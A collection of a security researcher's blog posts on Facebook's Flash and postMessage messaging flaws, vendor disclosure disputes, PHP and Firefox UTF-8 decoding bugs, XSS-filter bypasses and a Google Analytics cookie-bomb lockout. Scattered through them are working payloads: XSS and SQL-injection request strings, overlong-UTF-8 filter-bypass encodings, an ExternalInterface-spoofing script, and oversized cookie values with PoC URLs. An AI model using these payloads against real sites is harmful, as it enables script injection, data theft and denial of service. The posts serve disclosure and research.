Doing Cross Page Communication Correctly

I haven't updated this blog in more than one year (woops), but it seems like I still have a couple of followers, so I was thinking on what to write about. I was originally planning to post this on August, but the fix was delayed more than expected.

I decided to choose a random target on the interwebs to find an interesting vuln, and since Facebook recently launched it's "Whitehat Program", which rewards people that report them security vulnerabilities (kinda the same as Google's Vulnerability Reward Program), I chose them.

(Note: As of  December 15, Facebook says they have fixed the vulnerability, and awarded a $2,500 USD bounty).

So, I took a look at their "main JS file": http://connect.facebook.net/en_US/all.js

And well, first thing that came to my mind was RPC. Mostly, because I worked implementing the Apache Shindig's version of the Flash RPC, and have helped reviewing easyXDM's implementation, I just knew this is too hard to get right.

A simple grep for ".swf" in their all.js file lead us to "/swf/XdComm.swf". And since I didn't know what domain that was on I tried:

https://www.facebook.com/swf/XdComm.swf

And that worked.

So let's see.. I sent it to showmycode.com and we get this:
http://www.showmycode.com/?e97c7f39457f9e1b1d5b2167e14b968e

There are several non-security-bugs in that code (some of which I decided to ignore for brevity and keep the WTF quota of this blog low).

In general the security problems found are not specific to FB at all, they are mostly, side effects of bad design decisions from either Flash or the browsers. However, this problems are widely known and can be abused by attackers to compromise information.

Calling security.allowDomain

The first thing I notice is that XdComm calls Security.allowDomain and Security.allowInsecureDomain. This allows to execute code in the context of https://www.facebook.com/ so it's an Flash-XSS, FAIL #1.

The way you exploit this is by loading the victim SWF inside the attacker's SWF. That's it. The problem here is that Adobe provides only one API for enabling two very different functionalities. In this case, what Facebook wants is just allow an HTML container to call whitelisted 'callbacks' from the SWF, but inadvertently it is also allowing anyone to load the SWF inside another SWF and access all methods and variables, which can result in code execution.

Adobe actually acknowledges this is a problem, and they will make changes to support this two different use cases. The reason I don't provide a PoC is because there are several applications out there that depend on this behavior and can't easily deploy any fixes, and Adobe is working on fixing this at Flash (which is where it should be fixed). When there's a viable alternative or a good solution I'll post a PoC.

What FB should have done is keep this SWF out of www.facebook.com.

Getting the embedding page location


The second thing I notice is that it's getting the origin of the page hosting the SWF calling:

this.currentDomain = ExternalInterface.call("self.document.domain.toString");

And as any Flash developer should know, ExternalInterface.call isn't something you can actually trust, so now you can "cheat" XdComm.swf into thinking it's being embedded by a page it isn't by simply overriding __flash__toXML.

So, by abusing this vulnerable check, we can actually, listen and send messages on any LocalConnection channel. This doesn't only mean we just defeated the security of the transport, but that also, if any other SWF file uses LocalConnection in facebook.com (or fbcdn.net), we can sniff into that as well. So, FAIL #2.

It is hard, for a movie (or a plugin whatsoever) to know with certainty where it's being hosted. A SWF can be sure it's being hosted same domain, by requiring the hosting page to call a method in the Movie (added by ExternalInterface.addCallback), since by default, Flash only allows movies hosted in the same domain to call callback methods of a movie (this is what we do in Shindig for example), but besides that it's not so simple.

Some insecure methods exist and are widely used to know the hosting page, such as calling:

ExternalInterface.call("window.location.toString")

There are some variations of that code, such as calling window.location.href.toString, which is also simple to bypass by rewriting the String.toString method, and works on all browsers.

It's futile to try to "protect" those scripts, because of the way Flash handles ExternalInterface, it's possible to modify every single call made by the plugin, since when you call ExternalInterface.call, what really happens is that the plugin injects a script to the window with:

ExecScript('try { __flash__toXML(' + yourCode + ') ; } catch (e) { "<undefined;>"; }');

And, __flash__toXML is a global function injected by Flash, which can be modified to return whatever we want.

(function(){
    var o;
    window.__flash__toXML = function () { return o("potato") };
    window.__defineSetter__("__flash__toXML", function(x) {o = x;});
})();

It's worth noting that Flash also bases some of it's security decisions on the value of window.location (such as, if a movie is allowed to be scripted from a website or not), and while this check is more difficult to tamper (and browsers actively fix it), it's still possible to do it, and it's even easier on other browsers such as Safari (in Mac OS) where you can just replace the function "__flash_getWindowLocation" and "__flash_getTopLocation".

Luckily, it seems like we might be able to get at least the right Origin in future versions of Flash, as Mozilla is proposing a new NPAPI call just for this. Let's just hope that Adobe makes this available to the SWF application via some API.

What FB should have done is namespace the channel names, and use some other way of verifying the page embedding the SWF (like easyXDM or Shindig does).

It is also possible for an attacker to specify what transport it wishes to use, so we might be able to force a page to use the Flash transport even when it might also support postMessage.

postMessage should be used cautiously

There's one last thing I found. Facebook has a file which seems to allow an attacker to forge (postMessage) messages as coming from https://www.facebook.com/ into another page that allows framing arbitrary pages.

The Proof of Concept is located at http://r.i.elhacker.net/fbpwn

As you can see the page will allow an attacker to send messages and will also allow the attacker to specify the target origin. The attack seems to be hard to do since the "parent" seems to be hard coded. So this is FAIL #3.

This is a good demonstration why the existing implementation of postMessage is fundamentally broken, it's really easy for two different scripts to interfere with each other. I can't actually blame FB for that, it's more like a design problem in postMessage.

Luckily there's a new mechanism to use postMessage (called channel messaging), which partly solves this problem (or at least makes it harder to happen). You can read more about it here:

http://www.whatwg.org/specs/web-apps/current-work/multipage/comms.html#channel-messaging

Random fact.. This is what Chrome uses internally to communicate with other components like the Web Inspector.

Vendor Response

I reported these issues from https://www.facebook.com/whitehat on Tuesday Aug 16 2011 at 2 PM (PST), with the draft of this blogpost, and got a human acknowledgement at 7PM. The issue was finally fixed on December 15 2011.

Conclusion

So well, this was my first post of 2011 (it's December!), and I actually made it because there was a few "de facto" knowledge about Flash that I wanted to put in writing somewhere, and because I had a look at Facebook regarding something not strictly related to work!

In general I am impressed on the security of Facebook applications. While doing this I got locked out of my account like 5 or 6 times (maybe they detected strange behavior?), I noticed several security protections in their API (api.facebook.com/graph.facebook.com), and they actually do protect against other security vulnerabilities that most websites don't know about (such as ExternalInterface.call escaping bugs, content type sniffing, etc).

I was awarded a $2,500.00 USD bounty for this report (not sure how it was calculated), and I'm considering donating it to charity (it can become 5k!). Any suggestions?

Full Disclosure, Reverse Responsible Disclosure and Bob

Hey!

I know I haven't posted for a long time, sorry.. I hope I still have some followers.

Today was an interesting day, I started the day with yet-another-xss on some social website, and I found a vulnerability (kinda lame) on Paypal, later on the day I met my girlfriend's parents, and now it's late, so I'm writing a blogpost.. One vulnerability report was done on a 'responsible way', and the other, on what I just called 'reverse responsible disclosure'.. I like to invent buzzwords (and they are all jokes, please don't use them on real life).

I do think responsible disclosure is important, mostly because giving advance notice to the vendor allows them to work on a fix, before the bad guys start exploiting it. That's what I've been using, and what I think is the right thing to do. However, this is something that, depends on the vendor as much as on the researcher.

I've been working with several vendors on fixing vulnerabilities, most notably Microsoft and Google, both (in my opinion) do work hard to fix stuff, Microsoft takes considerably a lot more time to fix stuff, but they do communicate with me, letting me know what they are doing, and also share their ideas of fixes with me, in case I have any opinions (and they do take them into consideration). This dialog, or a swift and fast fix of vulnerabilities (like today's youtube's XSS that was full disclosed but apparently fixed fast enough) is what I consider a responsible response from the vendor.. I know this is not an opinion shared between all the industry, and that the loooooooong patching cycles of Microsoft are largely criticised, but in general, they are not so bad apart from that.

Other vendors that work similarly are Adobe and Symantec (humm, except for this girl that seems to have a job she shouldn't), and I was happy to work with them as well.

Now, the bad guys..

SMF (simplemachines.org)

While their developers seem to understand security vulnerabilities, their PM is probably living in the stone age.

Some time ago, elhacker.net, a security community I'm member of, created a project to make a security audit of SMF 2.0 before using it. It was great, the project found around 45 vulnerabilities, half of them serious, and they were mostly fixed (not all of them, but most of them were). The change log included credits and all, so it was great, and we declared the project as a success.

However, a few months later, the PM of SMF asked google to close our project page, because we were 'violating their license', thing that Google had to comply with. I had to remove the comments on the code, and the patches, code reviews, and repositories, so Google could re enable the project page (http://smf2-review.googlecode.com/).

Overall, this sucks. We did the project to help them, and we did asked them BEFORE if the way we were going to work was correct, I even sent an email asking for permission to redistribute their code with patches, but since I had no response, I decided to just mirror it for code reviews, but don't modify it. They keep on saying it's their right to protect their code, and etc.. but I really do think they acted wrong by not notifying us first.. (they had our contact email, and we interchanged a LOT of emails) when we did them a favor.

In the future, I don't recommend working with them, if you don't want to be stabbed on your back. I do think this response was very lame on their part.

OpenCart

Some of you may know Daniel Kerr, the developer of Open Cart, that thinks that Paypal, Google and Yahoo are always vulnerable to CSRF, and that an antivirus would stop CSRF attacks (thing that made more than one person laugh for a while). Someone already had a media circus with this guy, (he actually savotaged the security patches that another guy did because he refused to fix them). But now I will talk about something else.

A good friend, WHK is a skilled developer, that does security auditories as a hobby, he is known for finding stuff in several popular CMS and he found a couple of vulnerabilities in OpenCart, so he documented them. Overall, there are Local File Inclusion vulnerabilities, direct remote code execution, and yet another CSRF vulnerability that allows an attacker to take complete compromise of the server. His english is not very good so he asked me to contact the developer, which I did. My email was saying that WHK and a few other users where going to make a free auditory of OpenCart, and that he will get notified before making the new vulnerabilities public.

His response was:

I prefer if you mind your own business and not bother me or the opencart community. The exploit that is being discussed will be fixed in the next release. I don't need your services. Stop wasting my time.

Stop bothering me!

So, we did stopped bothering him since then, and now there are a total of 14 vulnerabilities. This vulnerabilities are now private, because we think he won't fix them if we make them public (as he hasn't fixed the first ones). And we can't make them public, because thousands of users use OpenCart and they actually manage security sensitive information. (In this case I don't think full disclosure will work).

Knowing that Daniel Kerr has a bad history even with fully disclosed vulnerabilities, we are clueless on what to do. The best thing may be to urge everyone to stop using OpenCart as soon as possible.

Paypal

So, paypal help center was vulnerable to a XSS for over 1 year, with a vulnerabilty that I reported to them 3 years ago.. and was only fixed because someone posted it on xssed.org (http://xssed.org/mirror/34771/). Since then, I felt it was not worth privately reporting stuff to them. But actually I didn't find any other vulnerabilities on paypal until recently.

So, today I found one, that is actually not really dangerous, requires the victim to be logged in on a place they probably wont be logged in.. And since full disclosure seems to be the only way to catch their attention, I did it.. and twitted about a clickjacking attack that allows you to send money to your account from a victim with 2 clicks.

https://twitter.com/sirdarckcat/status/17738238439

Anyway, I don't think this can be abused in real life, but I do think it should be fixed, so after posting it on twitter, I waited a few hours and then reported it to paypal with a few suggestions on how to fix it. This is what I called reverse responsible disclosure.

What about Bob?


Well, I did found a XSS in a popular social network! but since they behaved cool in the past, I decided to report it privately, and let them fix it.. I may make it public when its fixed, but I don't think it's interesting enough (it's on the search engine.. They made a new version and missed to check for <> in JS strings).

So.. that's pretty much all.

What I think will happen now


1. The SMF guys will react and write me an email/comment/blogpost saying how an evil and unreasonable man I am.
2. Daniel Kerr from OpenCart will probably start trolling about this on email/his forum, without fixing any vulnerabilities whatsoever.
3. Paypal will fix this vulnerabilities, and say I was a bad guy.
4. Bob will fix the bug.

Soooo, that's all, I was really biting my tong on the opencart/smf responses.. And I am happy that I finally found a time to write about it.

And this is not intended to be used in the famous disclosure debate, or similar, is just a catharsis after dealing with this couple of lame vendors (except for bob, bob is cool, hi bob!).

Thanks for reading..

PS. I just noticed AdSense is showing Paypal ads on my site.. lol, that reminded me when the caesars palace twitter account retweeted how to hack their own wireless network.

A couple of unicode issues on PHP and Firefox

Well, here I am developing ACS, finding that this project resembles at some degree the creation of a browser.. but anyway, it's close to a working beta (yay!).

In any case, a couple of bugs came to my attention, some of them are public, some of them are not.

First of all, I want to describe the PHP vulnerability I made public on my presentation with David Lindsay, at Blackhat USA 2009, that apparently only Chris Weber, Giorgio Maone (creator of NoScript), Mario Heiderich (creator of PHP-IDS) and the Acunetix security team have realized the danger of it.

It has been reported, well, more than enough times to the PHP team (I made another attempt today, hoping this will get fixed in some time soon.. if at all). This issue affects all PHP versions Mario Heiderich and me could test, and endangers practically all PHP programs that use the utf8_decode() function for decoding (as recommended by OWASP guidelines).

The disclosure timeline follows:
* Reported by root@80sec.com: May 11 2009
* Discovered by webmaster@lapstore.de: June 19 2009
* Discovered by Giorgio Maone / Eduardo Vela: July 14 2009
* Reported and Fixed on PHPIDS: July 14 2009
* Microsoft notified of a XSS Filter bypass: July 14 2009
* Fixed XSS Filter bypass on NoScript 1.9.6:  July 20 2009
* Vulnerability disclosed on BlackHat USA 2009: July 29 2009
* Added signature to Acunetix WVS: August 14 2009
* Re-reported by sird@rckc.at: September 27 2009
* Vendor claims it was fixed on 5.2.11: September 29 2009
* Re-re-reported by sird@rckc.at after checking 5.2.11: October 16 2009
* Published sirdarckcat.blogspot.com: October 16 2009

You can check the bug here:
http://bugs.php.net/bug.php?id=49687

In reality there are several vulns in just a couple of lines, so I'll describe them here:
1.- Overlong UTF-8:

As REQUIRED by UNICODE 3.1, and noted in the Unicode Technical Report #36, UTF-8 is forbidden to interpretate a character's non-shortest form.

    http://www.unicode.org/reports/tr36/#UTF-8_Exploit

VULN: PHP makes no checks whatsoever on this matter.

Why is this a vulnerability?

A filter (such as addslashes, htmlentities, escapeshellarg, etc.) will NOT be able to detect&escape such byte sequences, and so an application that relies on them for security checks wont be protected at all. Because it allows an attacker to encode "dangerous" chars, such as ', ", <, ;, &, \0 in different ways:

' = %27 = %c0%a7 = %e0%80%a7 = %f0%80%80%a7
" = %22 = %c0%a2 = %e0%80%a2 = %f0%80%80%a2
< = %3c = %c0%bc = %e0%80%bc = %f0%80%80%bc
; = %3b = %c0%bb = %e0%80%bb = %f0%80%80%bb
& = %26 = %c0%a6 = %e0%80%a6 = %f0%80%80%a6
\0= % 00 = %c0%80 = %e0%80%80 = %f0%80%80%80

Use hackvertor to generate them.


Enabling attacks on systems that use addslashes for example (but almost all encoding functions would be vulnerable):

// add slashes!
foreach($_GET as $k=>$v)$_GET[$k]=addslashes("$v");

//  .... some code ...

// $name is encoded in utf8
$name=utf8_decode($_GET['name']);
mysql_query("SELECT * FROM table WHERE name='$name';");

?>

2.- Ill formed sequences:
As REQUIRED by UNICODE 3.0, and noted in the Unicode Technical Report #36, if a leading byte is followed by an invalid successor byte, then it should NOT consume it.
    http://www.unicode.org/reports/tr36/#Ill-Formed_Subsequences

VULN: PHP will consume invalid bytes.

Why is this a vulnerability?

It will allow an attacker to "eat" controll chars. For example:

// htmlentities
foreach($_GET as $k=>$v)$_GET[$k]=htmlentities("$v",ENT_QUOTES);

//  ... some code ...

$name=$_GET['name'];
$url=$_GET['url'];

//  ... some code ...

$profileImage="<img alt=\"Photo of $name\" src=\"http://$url\" />";

// ... some code ...
echo utf8_decode($profileImage);
?>

A request such as:

?name=%90&src=%20onerror=alert(1)%20

Will execute the code "alert(1)" when the page loads.

Note that htmlpurifier does a utf8_decode function call at the end of the decoding, BUT they are safe because of a pre-encoding made by htmlpurifier.. other codes that do the same wont be so lucky.

Bogdan Calin from Acunetix WVS described a couple of other potential attack scenarios:

Where an attacker could fool the filter by doing a request like:
vuln.php?input=%F6%3Cimg+onmouseover=prompt(/xss/)//%F6%3E

And:

Where an attacker could fool the filter by doing a request like:
index.php?username=test%FC%27%27+or+1=1+–+&password=a

3.- Integer overflow:
Unsigned short has a size of 16 bits (2 bytes), that is UNCAPABLE of storing unicode characters of 21 bits, and represented on UTF with 4 bytes (1111 0xxx 10xx xxxx 10xx xxxx 10xx xxxx). PHP attempts to sum a 21 bits value to a 16 bits-size variable, and then makes no checks on the value.

The affected code follows:

//  php/ext/xml/xml.c#558
PHPAPI char *xml_utf8_decode(    //  ...
{
    int pos = len;
    char *newbuf = emallo    //  ...
    unsigned short c;          // sizeof(unsigned short)==16 bits
    char (*decoder)(unsig    //  ...
    xml_encoding *enc = x    //  ...
//  ...
//  #580
    c = (unsigned char)(*s);
    if (c >= 0xf0) {         /* four bytes encoded, 21 bits */
        if(pos-4 >= 0) {
            c = ((s[0]&7)<<18) | ((s[1]&63)<<12) | ((s[2]&63)<<6) | (s[3]&63);
        } else {
            c = '?';   
        }
        s += 4;
        pos -= 4;
//  ...

The relevant part of the code is of course, the declaration of c as an unsigned int, the comment specifing that the char is 21 bits, and this:

x= ((s[0]&7)<<18) | ...

s[0]&7<<18 means it will move 3 bits, 18 bits to the right. As we noted before.. c's size is only 16 bits.

(xxxx xxxx & 0000 0111) << 18

Also, this part:

...  ((s[1]&63)<<12) | ...

s[1]&63<<12 means it will move 6 bits, 12 bits to the right. So, 2 bits are going to be lost.

(xxxx xxxx & 0011 1111) << 12

This allows us to make something even more interesting.

Code like this:

%FF%F0%40%FC that is invalid unicode, overlong, and all you want (definatelly NOT valid), will be casted as a "lower than" simbol (<).

http://eaea.sirdarckcat.net/xss.php?unicode&html_xss=%FF%F0%40%FC

This besides the already mentioned problems, and the possibility of bypassing quite a lot of WAFs and Filters.. demonstrate the problem of a bad unicode implementation on PHP.

I hope the PHP development team acknowledges all this issues that have been reported before, and were explained some months ago on Blackhat USA (and the developers were noticed to check the ppt more than once), and now are explained yet another time.

This was fixed on 5.2.11 :) on my birthday!! Sept 17

Anyway.. that's not all, now to finish this post I want to publish a overlong utf-8 exception on Firefox (actually, Mozilla's).

The firefox one

Firefox is supposed to consider the non-shortest form exception (point #1 in the PHP vulnerabilities), and section 3.1 of the Unicode Technical Report #36 but apparently there's a flaw on it. This is specially problematic for the reasons that an overlong unicode sequence not taken into consideration may allow several types of filter bypasses.

Anyway, the severity of this vulnerability is not as high as the PHP ones, but is worth mentioning. The following non-shortest form for the char U+1000:

0xF0 0x81 0x80 0x80

is allowed, as well as the correct shortest form:

0xE1 0x80 0x80

Note that this problem is only present on the 4 bytes representation.

You can track this bug at:
https://bugzilla.mozilla.org/show_bug.cgi?id=522634

Anyway, that's all! Thanks for your time :)

Greetings!!

Our Favorite XSS Filters and how to Attack them

So well, Black Hat 2009 and DEFCON 17 are over now, and on Black Hat I presented twice, so I want to
do a quick recap.

If you asisted to them, I would appreciate any feedback, since the blackhat's feedback system about
the passport stuff is like.. not-public, so its completely useless for me.

So, if anyone want's to give feedback, you can use the comments or send me an email at sird@rckc.at

David Lindsay also made a nice write up about the presentation in here:
http://p42.us/?p=42

You can get our slides from here:
http://p42.us/favxss/

I don't know if the CNN and Java.net bugs have been fixed, but they did worked at the stage (we made
a live-demo on how to bypass the IE8 xss filter), and well there's an errata on the NoScript section.

There was a fix I didnt tested regarding the same origin exception, so now instead of using:

http://www.google.com/imgres?imgurl=http://tinyurl.com/ZWZ8Z4&imgrefurl=http://tinyurl.com/ZWZ8Z4

Use:
http://www.google.com/imgres?imgurl=http://pwn&imgrefurl=/search?q=ZWZ8Z4%26btnI=l%23asciifullNameRowId

Since we dont really need TinyURL, it was just an extra, but well, it makes sense for it to get fixed.

And also, the DoS & pwn for NoScript well, apparently because of something related to ABE, now noscript will absolutely kill your browser.  Upgrade to latest NoScript to be protected against the PoC of the presentation.

So, in the talk, david presented about the not-so-filtered html/js tricks we use, the unicode part was a
quick (very quick) recap since Chris Weber was going to have a cool presentation about Unicode the next
day (and it was awesome!!!) but anyway, regarding the unicode section, I made a quick demo on a vuln on
PHP's 4, 5 and 6 utf8_decode function that allows an attacker to do cool filter bypasses.

The PHP-IDS section, I'm not sure if Mario has fixed it, but my bypass was fixed.

Besides that, if you are going to use PHP-IDS, you can be sure that thornmaker and all the slackers crew
is gonna be there to break it and report it waay before a real-life attacker can bypass it, just remember
to keep it updated.

So, the talk was cool, I actually thought I wasn't going to finish on time so I was talking very fast, and
in a matter of fact I actually talked so fast that I actually finished 10 minutes before time.

So well, after that, I spoke with a couple of people about the presentation, and I got quite a lot of biz
cards (I didn't realized untill I got to the hotel and emptied my pockets.. I actually can't rememer to who
all those cards belong to), so if I told you I was going to get back to you later, you should probably send
me an email (sird@rckc.at) since I probably wont recognize your name in your card (my memory sucks!).

So well, the second day I had another talk, that was a solution Im working on, that sort of competes with
Mozilla CSP (could help as a transition to CSP) called ACS -  Active Content Signatures, that will implement
security measures for protecting against XSS on the client-side without the need of an addon on your browser.

I plan to implement some of NoScript features, as well as IE8 XSS Filter, and CSP, so I'll try just to get
the best of the best stuff in there. Inlcuding a JS sandbox that is being made by Gareth Hayes and that sort
of combines the best of Google Caja and Facebook JS sandbox but all in the client side, so you dont need to
do ANYTHING at all in the server :).

The second talk was an epic fail, I lost my document (it was on the Downloads folder, duh!) so there was
like a 5 to 10 minutes gap of me setting up my computer and not-finding the doc..

Thankfully it was a breakout session so it wasn't taped haha, anyway, my audience was small but very
speciallized, the Mozilla security squid and Mozilla securinator were there, as well as david ross, the
author of the super-IE8 XSS filter, a couple of friends and some other people.. The q&a at the end was
very cool :).

I haven't published the details of the .doc of ACS since well, it is still in an early stage but if you
are interested I will send you a draft. I am planing to present it during this month, and I will let you
all guys know in this blog, together with a nice demo.

The HTML Parser of ACS together with the JavaScript sandbox (JSReg) of Gareth can be tried at:
    http://eaea.sirdarckcat.net/testhtml.html

If you can hack it, please do it (and let me now =D). There's a sla.ckers.org thread about it here:
    http://sla.ckers.org/forum/read.php?2,29259

Also, I want to state that I want to do:
    ./pressure.pl -h tra.ckers.org -p /rsnake -p /id

So well, blackhat was a lot of fun, and actually I wasn't planning to stay for defcon, but with a fast
flight change and a lot of luck, I was able to stay more time, and go to defcon.

I want to say that DEFCON is waaaaaaaaaaay too fun, I didn't know it was so cool! BlackHat is like for
CSOs, CTOs, etc.. so vendors were like giving away gifts to everyone so they will buy their stuff, and
well, the talks were more interesting, but anyway, defcon rocks.

The 2wire talk that my friend hakim gave was very cool, we went to war driving in a limousine the night
before, that was fun as hell haha.

It was nice to meet all those slackers in blackhat/defcon, I'm sorry for all those casinos in the strip
that got their wifi-paying system completely bypassed by a very skilled slacker (whose identity prefers to
be kept private), but the hotels include bellagio, mirage, paris, caesars palace, circus circus, riviera
and well probably every hotel in the world that uses COX for providing the service (maybe also Lodgenet).

Ah btw, regarding the last post of Google Analytics, I want to show something I think is very cool. To make
impossible to a user to logout and/or login to any google service (gmail/google reader/google analytics/
adsense/adwords/etc..).

http://google.sirdarckcat.net/?v=https://www.google.com/accounts

If you readed all this post and you are not following me on twitter, then well, there it is!

When your victim gets a "bad request" that means, "you win". Google knows about this since like 4 or 5 months
ago.. and it's still unfixed. If one day you can't access your google account, or can't logout, try deleting
all your cookies.. And either use noscript and mark googleanalitycs.com as untrusted, or point in your hosts
fike googleanalitycs.com to 0.0.0.0 (and if you are a system admin that is not using google analytics you
should probably also do the same, since all websites in the world that use google analytics are vulnerable
to this attack, and you are protecting your user's security AND privacy by doing so..).

Greetz!!

PS. I made this post on notepad so its probably weird on blogspot.

How to use Google Analytics to DoS a client from some website.

So, right.. I was trying to read some stuff about problems sharing my wired connection of my linux laptop to another windows laptop via wireless, but one of the links was on mail-archive.com, and for some reason it's blocked on China (yeah, I'm living on China now =D). So, I decided to go to a friend's website to read the webpage, but... suddenly, there was an error..

Bad Request
Your browser sent a request that this server could not understand.

Size of a request header field exceeds server limit.

Cookie:

The reason of the error is unknown, but that's not important, what is important is that I realized that with a big enough cookie (8190 bytes aprox) we can DoS someone from entering a webpage. (With a 400 HTTP Response status code on Apache, a 413 on some google services, and on some websites an infinite loop because the big cookies delete session cookies).

The reason we would like to block from accessing a server is not really important, what is important is that being able to block them out is dangerous.

Anyway.. we need to set cookies, and this is good enough for a lot of attacks (like no-ip domains, shared subdomains like blogspot , browsers that allow top level domain cookies, second level domains like .co.uk , etc..), but I really wanted to do something more cool.. so I started thinking, how to set cookies on clients.

And the "how", as the reader may deduce from the title of this blogspot is using Google Analytics. I've been researching Google Analytics cookies for some time now, so I sort-of know how they work. And I know pretty good that the google's implementation allows an attacker to add anything in some cookies.

So well, one of those cookies is the referer. This is true for "search result - organic referers", like for example, a Google search. The catch is that the detection on google's service is very bad, and we can fool it to think we are a google search result by doing:

http://google.yourfavoritedomain.com/search?q=search-term

So, you can guess.. if search-term is big enough we can hack the world.

Anyway, there's a catch. You can't set such a big cookie. The limit aparently is 4192 bytes. So.. what you have to do is control 2 cookies.

The other cookie we are going to be using is GASO (Google Analytics Site Overlay), its trigered by the content on
http://yourwebsite.com/page.html#gaso=somevalue

And well, the google analytics code will set a cookie called GASO to somevalue

With both vectors we can now set very big cookies! and with those cookies we can disable access to lot of websites to anyone with just a link (or an iframe if you want to improve the stealthness of the attack).

Twitter PoC:
http://google.sirdarckcat.net/?v=http://twitter.com/

If you use twitter over SSL...
http://google.sirdarckcat.net/?v=https://twitter.com/

To lock you out of all wordpress.com blogs:
http://google.sirdarckcat.net/?v=http://rofl.wordpress.com/
Try your favorite Google Analytics powered websites :D

References:
http://httpd.apache.org/docs/2.0/mod/core.html#limitrequestfieldsize
http://httpd.apache.org/docs/1.3/mod/core.html#limitrequestfieldsize
http://royal.pingdom.com/2008/05/28/google-analytics-dominate-the-top-500-websites/

Examples:
GASO limit
#gaso=dagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondago

SEARCH referer limit
http://google.com/search?q=dagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweap